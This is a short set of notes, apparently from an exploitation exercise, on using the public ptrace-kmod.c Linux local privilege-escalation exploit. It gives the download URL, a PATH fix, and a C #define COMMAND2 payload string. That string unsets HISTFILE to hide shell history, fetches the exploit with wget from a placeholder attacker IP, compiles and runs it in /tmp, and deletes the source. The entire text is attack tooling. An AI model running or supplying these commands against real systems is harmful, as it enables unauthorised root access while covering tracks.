download ptrace-kmod.c from https://packetstormsecurity.com/files/download/30973/ptrace-kmod.c
added the lines export PATH=$PATH:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin to overcome ld error
#define COMMAND2 "unset HISTFILE; cd /tmp;export PATH=$PATH:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin; wget http://enter ur ip here/ptrace-kmod.c; gcc -o exploit ptrace-kmod.c; rm ptrace-kmod.c; ./exploit; \n"